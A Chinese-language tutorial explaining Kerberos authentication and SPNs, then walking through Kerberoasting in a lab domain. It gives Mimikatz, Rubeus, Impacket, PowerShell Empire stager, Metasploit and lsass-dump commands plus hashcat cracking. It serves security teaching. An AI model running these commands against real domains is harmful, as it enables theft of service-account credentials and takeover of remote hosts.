0x01 详解 Kerberos 身份验证流程
Kerberos 及其主要组件
客户端从 Kerberos 密钥分发中心 (KDC) 获取票证,并在建立连接时将这些票证提交给应用程序服务器。它默认使用 UDP 端口 88,并依赖于对称密钥加密过程。Kerberos 使用票据来验证用户身份,完全避免了通过网络发送密码。
Kerberos 组件 | 规则 |
---|---|
参与各方 | Client:用户用来访问某些服务 KDC:是域服务的密钥分发中心。他包含一个用户和服务 HASH 数据库、一个身份验证服务器和票据授予服务 应用服务器:用于特定服务的服务器 |
加密秘钥 | krbtgt 密钥:使用 krbtgt 账户的 NTLM HASH User key:使用用户 NTLM HASH Service key:使用 NTLM HASH的服务,可以使用用户或计算机账户 Session key:在用户和 KDC 之间传递Service session key:在用户和服务之间使用 |
票据 | TGT:向 KDC 提出申请 TGS 票据,他是用 KDC 密钥加密而成 TGS:用户可以用来对服务进行身份验证是用 service key 加密而成 |
PAC | PAC(特权属性证书):几乎每个票据都包含 PAC,PAC 包含用户的权限,使用KDC 密钥进行签名 |
消息协商过程 | KRB_AS_REQ:用户向 KDC 发送 TGT 请求来获取 TGT KRB_AS_REP:用户收到了来自 KDC 的 TGT KRB_TGS_REQ:用户使用 TGT 向 KDC 发送 TGS 请求 KRB_TGS_REP:用户收到了来自 KDC 的 TGS KRB_AP_REQ:使用 TGS 的用户发送请求对服务进行身份验证 KRB_AP_REP:(可选)服务用来针对用户标识自身 KRB_ERROR:用于交流错误条件的消息 |
Kerberos 消息认证流程
在 Active Directory 域中,每个域控制器都运行 KDC(Kerberos 分发中心)服务,该服务处理所有对 Kerberos 票证的请求。对于 Kerberos 票证,AD 使用 AD 域中的 KRBTGT 帐户。
下面使用这张图来显示认证流程
如上图,使用了三种颜色来标识该请求是用什么密钥来加密的
蓝色:用户 NTLM HASH
黄色:Krbtgt NTLM HASH
红色:服务账户的 NTLM HASH
步骤1:KRB_AS_REQ
通过向 KDC 发送请求消息,客户端初始化通信
KRB_AS_REQ
主要包括以下内容:
- 待认证客户端的用户名与 Krbtgt
- 帐户关联的服务SPN(服务主体名称)
- 加密的时间戳(使用用户 HASH 加密)
整个消息使用用户 NTLM 哈希进行加密,以验证用户身份并防止重放攻击
步骤2:KRB_AS_REP
KDC 解密验证用户身份的消息,验证成功后,KDC 将为客户端生成TGT
,并且使用 krbtgt hash
进行加密,并且使用用户HASH
加密一些消息
KRB_AS_REP
主要包括以下内容:
- 用户名
- 一些加密数据(使用用户 HASH 加密)
- 会话密钥 - TGT 的到期日期
-
TGT(使用 krbtgt hash 加密)
- 用户名 - 会话密钥 - TGT 的到期时间 - 具有用户权限的 PAC,由 KDC 签名
步骤3:KRB_TGS_REQ
经过步骤二发送的 KRB_TGT
将存储在客户端的内存中,由于客户已经拥有KRB_TGT
,因此将TGT
用于在TGS
请求中识别自己的身份,客户端将包含加密数据的TGT
副本发送给KDC
KRB_TGS_REQ
主要包含以下内容:
-
使用用户密钥加密的数据
- 用户名 - 时间戳
- TGT
- 请求的服务的 SPN
步骤4:KRB_TGS_REP
KDC
接收KRB_TGS_REQ
消息并使用 Krbtgt 哈希解密该消息以验证 TGT
,然后 KDC
返回 TGS
作为 KRB_TGS_REP
,该 TGS
使用请求的服务哈希
和一些加密消息进行使用用户哈希
。
KRB_TGS_REP
主要包含以下内容:
- 用户名
-
使用用户密钥加密的数据
- 服务会话密钥
- TGS 的有效期
- TGS(使用服务HASH加密)包括:
- 服务会话密钥 - 用户名 - TGS 的有效期 - 具有用户权限的 PAC ,由 KDC 签名
步骤5:KRB_AP_REQ
用户将TGS
的副本发送到提供服务的服务器
KRB_AP_REQ
主要包含以下内容:
- TGS
-
使用用户密钥加密的数据
- 用户名 - 时间戳
步骤6:KRB_verify_PAC_REQ
应用程序尝试使用 NTLM HASH
来解密消息,并验证来自 KDC
的 PAC
来识别用户权限
步骤7:PAC_Verified_REP
KDC
验证 PAC
需要注意的是步骤6与步骤7都是可选步骤
步骤8:Allow Service Access
允许用户在特定的时间内访问该服务
0x02 服务主体名称 SPN
服务主体名称 (SPN) 是服务实例的唯一标识符。 Active Directory 域服务
和 Windows
提供对服务主体名称 (SPN) 的支持,SPN
是 Kerberos
机制的关键组件,客户端通过该机制对服务进行身份验证。
如果想使用 Kerberos
协议来认证服务,那么必须正确配置SPN
。在Kerberos
使用SPN
对服务进行身份认证之前,必须在服务实例用于登录的账户对象上注册SPN
,并且只能在一个账户上注册给定的SPN
。如果服务实例的登录账户发生改变,必须在新账户下重新注册SPN
。当客户端想要连接到某个服务时,他将查找该服务的实例,并为该实例编写SPN
,然后连接到该服务并显示服务的SPN
以进行身份认证。
SPN 四元素
:serviceclass/host:port/servicename
例如
MSSQLSVC/win7/hack.org:1433
0x03 Kerberoasting 攻击
什么是 Kerberoasting
Kerberoasting
是一种允许攻击者窃取使用 RC4
加密的 KRB_TGS
票证的技术,以暴力破解应用程序服务 HASH
来获取其密码
Kerberos
使用所请求服务的 NTLM
哈希来加密给定服务主体名称 (SPN) 的 KRB_TGS
票证。当域用户向域控制器 KDC
发送针对已注册 SPN
的任何服务的 TGS 票证
请求时,KDC
会生成 KRB_TGS
攻击者可以离线使用例如hashcat
来暴力破解服务帐户的密码,因为该票证已使用服务帐户的 NTLM 哈希
进行了加密。
Kerberoasting攻击主要步骤如下
1.发现SPN服务
2.使用工具向 SPN 请求 TGS 票据
3.转储 .kirbi 或 ccache 或服务 HASH 的 TGS 票据
4.将 .kirbi 或 ccache 文件转换为可破解格式
5.使用hashcat等工具配合字典进行暴力破解
并且随着技术的不断更新,kerberoasting
攻击的工具与手段也越来越多,因此我们把多个步骤的攻击叫做旧 kerberoasting
攻击,单个步骤的攻击叫做新 kerberoasting
攻击
旧 kerberoasting 攻击
利用 Powershell 脚本进行 kerberoasting
发现SPN
使用以下 RiskySPN
脚本发现 SPN
服务
https://github.com/cyberark/RiskySPN/tree/master
powershell -ep bypass
#发现域内spn
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose
#发现域内spn并保存到csv
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts
当然我们也可以使用GetUserSPns.ps1
来发现 SPN
服务
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
也可以使用setspn -T ignite -Q */*
来发现
提取并转储 TGS_ticket 并获取哈希值
我们使用 TGSipher.ps1
来提取 KRB_TGS
,下载地址如下
https://github.com/cyberark/RiskySPN/blob/master/Get-TGSCipher.ps1
获取 TGS
并将结果转换为 hashcat
格式
Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "MSSQLSvc/win7.rootkit.org:1433" -Format hashcat
成功获取 mssql
服务 hash
字符串
使用 hashcat 进行破解
hashcat -m 13100 '/home/kali/Desktop/hashes' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force
成功获取了服务账户的密码
利用 Mimikatz 进行攻击
使用 Mimikatz 请求 SPN 服务并且导出 TGS 票据
mimikatz.exe "kerberos::ask /target:MSSQLSvc/win7.rootkit.org:1433" "kerberos::list /export" exit
对票据进行暴力破解
方法1:使用 tgsrepcrack.py
进行破解
python tgsrepcrack.py pass.txt tgs.kirbi
方法2:使用 kirbi2john.py
将票据文件转换为hash
值进行暴力破解
python kirbi2john.py tgs.kirbi
使用hashcat
进行破解
hashcat -m 13100 '/home/kali/Desktop/hashes' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force
新 kerberoasting 攻击
使用 Rubeus.exe
发现 SPN
、提取 TGS
、转储HASH
存储到hash.txt
Rubeus.exe kerberoast /outfile:hash.txt
使用hashcat
进行破解
ashcat -m 13100 --force -a 0 '/home/kali/Desktop/hash.txt' '/home/kali/Desktop/pass.txt'
hashcat
有一个特点,当破解成功后第二次破解不会再重新破解,使用show
命令来显示
Invoke-kerberoast.ps1 脚本
Invoke-kerberoast.ps1
是empire
中集成的脚本,可以自动发现 SPN,提取 TGS 并且转储服务 HASH
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
Import-Module .\Invoke-kerberoast.ps1
Invoke-kerberoast
之后使用 hashcat
暴力破解即可
在远程系统上利用 Kerberoasting 攻击
使用 Powershell Empire
使用 Kali 进行安装
apt install powershell-empire
启动empire
服务器
sudo powershell-empire server
启动empire
客户端
sudo powershell-empire client
使用uselistener http
创建http
监听器,设置端口set Port 1111
,修改监听器名称为testset Name test
使用options
查看信息
最后使用execute
命令创建监听器, 使用listeners
命令查看所有监听器
使用usestager windows_csharp_exe
创建一个exe文件,set Listener test
设置监听器为test
,execute
生成即可
当目标运行exe上线后,使用agents
命令可以查看所有会话
使用以下命令可以修改会话rename 39ASLBHN stager1
,使用以下命令进入该会话interact stager1
便可对主机进行操作
extract_tickets 模块
执行下面的模块,他将提取.kirbi
格式的文件作为TGS
票据
usemodule powershell_credentials_mimikatz_extract_tickets
execute
使用download
命令下载即可,使用tgscrack
对票据进行转换并且破解,下载地址如下
https://github.com/leechristensen/tgscrack
运行以下命令进行转换
python2 extractServiceTicketParts.py '/home/kali/Desktop/tgscrack-master/2-40a10000-micle@MSSQLSvc~Srv-Web-Kit.rootkit.org~1433-ROOTKIT.ORG.kirbi' >tgshash
使用tgscrack.go
进行破解,go run tgscrack.go -hashfile tgshash -wordlist pass.txt
使用过程中可能会出现缺少依赖的问题,使用以下命令初始化新的模块然后安装即可
go mod init tgscrack
go get golang.org/x/crypto/md4
invoke_kerberoast 模块
该模块可以进行 SPN
发现、转储 TGS
、获取 HASH
一键化
usemodule powershell_credentials_invoke_kerberoast
execute
获取到之后,使用hahscat
或者john
破解即可
使用 Metasploit
load powershell
powershell_import Invoke-Kerberoast.ps1
powershell_execute Invoke-Kerberoast
使用 Impacket
使用GetUserSPNs.py
脚本可以自动化发现SPN、提取TGS、转换为HASH
python GetUserSPNs.py -request -dc-ip 192.168.3.144 rootkit.org/micle
之后使用同样的方法进行暴力破解即可。
Pypykatz
首先我们将lsass
进程内存 dump 下来
load powershell
powershell_shell
Get-Process Lsass
cd C:\Windows\System32
.\rundll32.exe comsvcs.dll, MiniDump 576 C:\lsass.DMP full
将 dmp 文件下载到 kali 本机download c:/lsass.dmp /home/kali/Desktop
此 dmp 中存储以下内容
用户的 NTLM HASH
KRB5_TGT 票据
KRB5_TGS 票据
服务 NTLM HASH
使用 pip 命令安装 pypykatz
pip3 install pypykatz
在/root
目录下建立一个kerb
文件夹
cd /root
mkdir kerb
使用pypykatz
对 dmp 进行提取
pypykatz lsa -k /root/kerb minidump '/home/kali/Desktop/lsass.dmp'
kerb
文件夹下也出现许多票据
使用kirbi2john.py
或者tgscrack
将票据转换成hash
进行破解即可
参考链接
https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/
https://room362.com/post/2016/kerberoast-pt1/
https://room362.com/post/2016/kerberoast-pt2/
https://room362.com/post/2016/kerberoast-pt3/
https://adsecurity.org/?p=2293
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
-
-
-
0x03 Kerberoasting 攻击
- 什么是 Kerberoasting
- 旧 kerberoasting 攻击
- 利用 Powershell 脚本进行 kerberoasting
- 发现SPN
- 提取并转储 TGS_ticket 并获取哈希值
- 使用 hashcat 进行破解
- 利用 Mimikatz 进行攻击
- 使用 Mimikatz 请求 SPN 服务并且导出 TGS 票据
- 对票据进行暴力破解
- 新 kerberoasting 攻击
- 使用 Rubeus.exe
- Invoke-kerberoast.ps1 脚本
- 在远程系统上利用 Kerberoasting 攻击
- 使用 Powershell Empire
- extract_tickets 模块
- invoke_kerberoast 模块
- 使用 Metasploit
- 使用 Impacket
- Pypykatz
-